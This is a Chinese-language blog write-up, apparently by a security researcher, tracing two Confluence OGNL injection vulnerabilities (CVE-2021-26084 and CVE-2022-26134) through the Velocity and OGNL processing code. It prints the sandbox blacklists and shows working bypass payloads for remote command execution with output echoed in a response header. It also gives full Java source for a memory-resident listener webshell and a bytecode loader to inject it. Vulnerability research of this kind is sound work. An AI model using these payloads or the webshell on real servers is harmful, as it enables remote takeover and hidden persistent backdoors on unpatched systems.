FROM CVE-2021-26084 TO CVE-2022-26134 ,Bypass Sandbox And Inject Memory Shell
CVE-2021-26084
- Confluence < 6.13.23
- 6.14.0 ≤ Confluence < 7.4.11
- 7.5.0 ≤ Confluence < 7.11.6
- 7.12.0 ≤ Confluence < 7.12.5
- Confluence < 7.13.0
之前对struts2框架了解的比较少,站在漏洞复现的角度梳理一下:
velocity模板引擎
confluence使用velocity模版引擎,处理vm文件时,会把vm内容转化为AST语法树,然后分别处理每一个结点的内容,把结果输出。这个过程我理解有一点像sql预编译,提前确定好位置,再提取对应的键值对解析,最后渲染到前端展示。
我们先发一个poc包:
POST /pages/createpage-entervariables.action HTTP/1.1
Host: ty.com:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027
转化后到AST可以在 org.apache.velocity.Template 下的data属性查看:
搜索子树,可以定位 queryString:
确定好模版之后,就是获取 pages/createpage-entervariables.vm
标签中所定义的变量:
其中的velocity基本语法:
"#" : 标识velocity的脚本语句
"$" : 获取一个对象或变量
"!" : 对变量为null的情况在页面显示为空白字符串
在AbstractTagDirective.createPropertyMap()
下创建了一个map,用于保存tag中的键值对:
之后进入processTag()
方法,用于处理tag:
在processTag()
的末尾,调用了doEndTag()
方法,跟进evaluateParams(stack)
,其实就是用Ognl表达式去处理tag中的内容。
可以看到在执行Ognl表达式之前,还经过了一次表达式检查,这个我们放在后面说,需要注意的是我们的expr是被''
所包裹的,所以Ognl并不会解析里面的内容,而在执行之前expr会经过一轮OgnlUtil.compile(expr)
,支持对unicode编码的解码,所以可以利用\u0027
闭合单引号 。
安全检测
首先Ognl.getValue()
解析 Ongl语句,就会将其转化为一颗 ASTChain 语法树执行,比如表达式:@java.lang.Runtime@getRuntime().exec("calc")
,下图为其所对应的语法树:
现在看安全防护的问题:
针对以上检测,有以下两种方式绕过检测以获取Class对象:
绕过一
queryString=\u0027%2b{Class}%2b\u0027
等于
{Class}
当Ongl解析一个属性 a 或者 A时,都会从 Context 键值对中调用 getA
来尝试获取属性,而检测中只过滤了小写class的情况,我们完全可以利用大写 Class 属性来调用context中的 getClass()
方法从而获取Class对象。
绕过二
queryString=\u0027%2b{[\u0022class\u0022]}%2b\u0027
等于
{['class']}
这一绕过也是利用Ognl在解析时的差异,针对 ['class']
属性,是和 .class
一样都可以调用到getClass()
方法,而在检测时是调用被测属性的toString
方法,而['class']
相当于返回自身,故绕过了检测。
拿到Class对象之后,利用就好说了,利用forName就可以调用各种方法。
CVE-2022-26134
- 1.3.0 ≤ Confluence < 7.4.17
- 7.13.0 ≤ Confluence < 7.13.7
- 7.14.0 ≤ Confluence < 7.14.3
- 7.15.0 ≤ Confluence < 7.15.2
- 7.16.0 ≤ Confluence < 7.16.4
- 7.17.0 ≤ Confluence < 7.17.4
- 7.18.0 ≤ Confluence < 7.18.1
CVE-2022-26134的 Ognl 输入点在url处,confluence的分发器会把请求交给内部28个拦截器(interceptors)处理,
其中大部分拦截器在处理时,又会回到invocation.invoke()
方法,形成一个循环:
但是第10号拦截器 actionAccessChecker 不一样,其判断了请求的action,并默认返回 notpermitted,从而跳出了循环:
跳出后,走到this.execteResult()
:
之后一路跟进,进入最后的执行点TextParseUtil.translateVariables(this.namespace, stack)
,这里对 namespace (在转发器 ServletDispatcher 对url做的提取) 进行了ognl表达式处理:
同样还有熟悉的safeExpressionUtil.isSafeExpression(expr)
, confluence 在7.13.0之后改写了这个模块,引入了更加复杂的黑名单以及白名单机制:
//unsafePropertyNames
0 = "sun.misc.Unsafe"
1 = "classLoader"
2 = "java.lang.System"
3 = "java.lang.ThreadGroup"
4 = "com.opensymphony.xwork.ActionContext java.lang.Compiler"
5 = "com.atlassian.applinks.api.ApplicationLinkRequestFactory"
6 = "java.lang.Thread"
7 = "com.atlassian.core.util.ClassLoaderUtils"
8 = "java.lang.ProcessBuilder"
9 = "java.lang.InheritableThreadLocal"
10 = "com.atlassian.core.util.ClassHelper"
11 = "class"
12 = "java.lang.Shutdown"
13 = "java.lang.ThreadLocal"
14 = "java.lang.Process"
15 = "java.lang.Package"
16 = "org.apache.tomcat.InstanceManager"
17 = "java.lang.Runtime"
18 = "javax.script.ScriptEngineManager"
19 = "javax.persistence.EntityManager"
20 = "org.springframework.context.ApplicationContext"
21 = "java.lang.SecurityManager"
22 = "java.lang.Object"
23 = "java.lang.Class"
24 = "java.lang.RuntimePermission"
25 = "javax.servlet.ServletContext"
26 = "java.lang.ClassLoader"
//unsafePackageNames
0 = "java.rmi"
1 = "sun.management"
2 = "org.apache.catalina.session"
3 = "java.jms"
4 = "com.atlassian.confluence.util.io"
5 = "com.google.common.reflect"
6 = "javax.sql"
7 = "java.nio"
8 = "com.atlassian.sal.api.net"
9 = "sun.invoke"
10 = "java.util.zip"
11 = "liquibase"
12 = "com.hazelcast"
13 = "org.apache.commons.httpclient"
14 = "com.atlassian.util.concurrent"
15 = "java.net"
16 = "freemarker.ext.jsp"
17 = "com.sun.jna"
18 = "net.java.ao"
19 = "javax"
20 = "sun.corba"
21 = "org.springframework.util.concurrent"
22 = "com.sun.jmx"
23 = "sun.misc"
24 = "javassist"
25 = "ognl"
26 = "org.apache.commons.exec"
27 = "com.atlassian.cache"
28 = "org.wildfly.extension.undertow.deployment java.lang.reflect"
29 = "io.atlassian.util.concurrent"
30 = "java.util.concurrent"
31 = "com.atlassian.confluence.util.http"
32 = "sun.tracing"
33 = "org.objectweb.asm"
34 = "freemarker.template"
35 = "net.sf.hibernate"
36 = "freemarker.core"
37 = "net.bytebuddy"
38 = "org.apache.tomcat"
39 = "freemarker.ext.rhino"
40 = "com.atlassian.media"
41 = "org.springframework.context"
42 = "org.apache.velocity"
43 = "javax.xml"
44 = "java.sql"
45 = "sun.reflect"
46 = "sun.net"
47 = "javax.persistence"
48 = "org.javassist"
49 = "javax.naming"
50 = "org.apache.httpcomponents.httpclient"
51 = "com.atlassian.hibernate"
52 = "sun.nio"
53 = "com.atlassian.confluence.impl.util.sandbox"
54 = "com.google.common.net"
55 = "com.atlassian.filestore"
56 = "org.apache.commons.io"
57 = "com.atlassian.vcache"
58 = "jdk.nashorn"
59 = "sun.launcher"
60 = "oshi"
61 = "org.apache.bcel"
62 = "sun.rmi"
63 = "sun.tools.jar"
64 = "org.springframework.expression.spel"
65 = "com.opensymphony.xwork.util"
66 = "org.ow2.asm"
67 = "com.atlassian.confluence.setup.bandana"
68 = "org.quartz"
69 = "net.sf.cglib"
70 = "com.atlassian.activeobjects"
71 = "com.atlassian.utils.process"
72 = "sun.security"
73 = "com.atlassian.quartz"
74 = "javax.management"
75 = "sun.awt.shell"
76 = "com.google.common.cache"
77 = "org.apache.http.client"
78 = "java.io"
79 = "com.atlassian.confluence.util.sandbox"
80 = "java.util.jar"
81 = "com.atlassian.scheduler"
82 = "sun.print"
83 = "com.atlassian.failurecache"
84 = "com.google.common.io"
85 = "org.apache.catalina.core"
86 = "org.ehcache"
//unsafeMethodNames
0 = "getClass"
1 = "getClassLoader"
//allowedClassNames
0 = "net.sf.hibernate.proxy.HibernateProxy"
1 = "java.lang.reflect.Proxy"
2 = "net.java.ao.EntityProxyAccessor"
3 = "net.java.ao.RawEntity"
4 = "net.sf.cglib.proxy.Factory"
5 = "java.io.ObjectInputValidation"
6 = "net.java.ao.Entity"
7 = "com.atlassian.confluence.util.GeneralUtil"
8 = "java.io.Serializable"
为什么会引入白名单呢?因为13之后的 UNSAFE_NODE_TYPES
允许了 ognl.ASTStaticMethod 类型的节点,不过把可以调用的类限制在了白名单内:
绕过踩坑
网上已经公开了许多exp,这里主要说一下我在复现的时候踩的一些坑:
这是github star比较多的exp:
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
看到我就感觉挺奇怪的,因为在CVE-2021-26084的检测中就已经把赋值语句给禁止了,并且即使调用静态方法 org.apache.commons.io.IOUtils 也不在白名单内:
后来才知道网上流传比较广泛的大多都是针对还没有沙箱的版本(7.4 以下),实际上在7.18版本 confluence都还没能把大写 Class 加入到 unsafePropertyNames 中,所以我们还是可以通过${Class.forName()}
拿到Class对象:
//javax.script.ScriptEngineManager 在黑名单中,
${(Class.forName('jav'+'ax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('java.lang.Runtime.getRuntime().exec("open -a Calculator")'))}
OgnlUtil.compile(expr)
会将expr中的单引号变成双引号,不过在引号内的符号会默认加上\
,不会被闭合。
${(Class.forName('jav'+'ax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('org.apache.commons.io.IOUtils.toString(java.lang.Runtime.getRuntime().exec("whoami").getInputStream())'))}
Phith0n采用的是JavaScript的String.fromCharCode来避免引号相关的问题。
${Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(118,97,114,32,115,61,39,39,59,118,97,114,32,112,112,32,61,32,106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,105,100,39,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,119,104,105,108,101,32,40,49,41,32,123,118,97,114,32,98,32,61,32,112,112,46,114,101,97,100,40,41,59,105,102,32,40,98,32,61,61,32,45,49,41,32,123,98,114,101,97,107,59,125,115,61,115,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,98,41,125,59,115))")}
可以命令执行,那么后续就是拿回显的问题,
${Class.forName('com.opensymphony.webwork.ServletActionContext').getMethod('getResponse',null).invoke(null,null).setHeader('X-CMD',Class.forName('jav'+'ax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('org.apache.commons.io.IOUtils.toString(java.lang.Runtime.getRuntime().exec("whoami").getInputStream())'))}
注入内存木马
能执行,有回显,离注入内存马就只差最后动态加载字节码了。
要想动态加载字节码,通过url进行get传输肯定不行,我们通过context对象拿到request属性从而提取Parameter属性:
//以下两种方式均可
${Class.forName('com.opensymphony.webwork.ServletActionContext').getMethod('getResponse',null).invoke(null,null).setHeader('X-CMD',Class.forName('jav'+'ax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(@com.opensymphony.webwork.ServletActionContext@getRequest().getParameter("theoyu")))}
${Class.forName('com.opensymphony.webwork.ServletActionContext').getMethod('getResponse',null).invoke(null,null).setHeader('X-CMD',Class.forName('jav'+'ax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(Class.forName('com.opensymphony.webwork.ServletActionContext').getMethod('getRequest',null).invoke(null,null).getParameter("theoyu")))}
theoyu=java.lang.Runtime.getRuntime().exec("open+-a+Calculator")
context在回显的时候已经解决了,现在是要找一个defineClass的点,
var classBytes = java.util.Base64.getDecoder().decode("yv66vgAAADcAHwoABgASCgATABQIABUKABMAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAFTFJjZTsBAApFeGNlcHRpb25zBwAZAQAKU291cmNlRmlsZQEACFJjZS5qYXZhDAAHAAgHABoMABsAHAEAEm9wZW4gLWEgQ2FsY3VsYXRvcgwAHQAeAQADUmNlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAABAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAABAAEAAUADQAGAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAAAACABE=");
var loader = java.lang.Thread.currentThread().getContextClassLoader();
var reflectUtilsClass = java.lang.Class.forName("org.springframework.cglib.core.ReflectUtils",true,loader);
var defineClassMethod = reflectUtilsClass.getMethod("defineClass",java.lang.String.class,java.lang.Class.forName("[B"),java.lang.ClassLoader.class);
var o = defineClassMethod.invoke(null,"Rce",classBytes,loader);
o.newInstance();
准备ListenerShell
和AddListener
public class ListenerShell implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
try {
RequestFacade req = (RequestFacade) servletRequestEvent.getServletRequest();
Field requestField= req.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(req);
Response response = request.getResponse();
if (request.getParameter("cmd") != null) {
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK" : "UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = request.getParameter("cmd");
InputStream in = Runtime.getRuntime().exec(commands).getInputStream();
Scanner s = new Scanner(in, charsetName).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
System.out.println(output);
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
}catch (Exception e) {
e.printStackTrace();
}
}
}
public class AddListener {
public AddListener() throws Exception{
var clazz = java.lang.Class.forName("ListenerShell");
javax.servlet.ServletContext servletContext = com.opensymphony.webwork.ServletActionContext.getServletContext();
java.lang.reflect.Field appctx =servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) appctx.get(servletContext);
java.lang.reflect.Field atx= applicationContext.getClass().getDeclaredField("context");
atx.setAccessible(true);
org.apache.catalina.core.StandardContext standardContext = (org.apache.catalina.core.StandardContext) atx.get(applicationContext);
standardContext.addApplicationEventListener(clazz.newInstance());
}
}
//分两次打进去:
//先注册ListenerShell
theoyu= var classBytes = java.util.Base64.getDecoder().decode("yv66vgAAA......");
var loader = java.lang.Thread.currentThread().getContextClassLoader();
var reflectUtilsClass = java.lang.Class.forName("org.springframework.cglib.core.ReflectUtils",true,loader);
var defineClassMethod = reflectUtilsClass.getMethod("defineClass",java.lang.String.class,java.lang.Class.forName("[B"),java.lang.ClassLoader.class);
var o = defineClassMethod.invoke(null,"ListenerShell",classBytes,loader);
o.newInstance();
//再打AddLisenter
theoyu= var classBytes = java.util.Base64.getDecoder().decode("yv66vgAAAD......");
var loader = java.lang.Thread.currentThread().getContextClassLoader();
var reflectUtilsClass = java.lang.Class.forName("org.springframework.cglib.core.ReflectUtils",true,loader);
var defineClassMethod = reflectUtilsClass.getMethod("defineClass",java.lang.String.class,java.lang.Class.forName("[B"),java.lang.ClassLoader.class);
var o = defineClassMethod.invoke(null,"AddListener",classBytes,loader);
o.newInstance();
上面只是单纯的回显shell,修改一下就可以做哥斯拉或者冰蝎的内存木马,这里不演示了。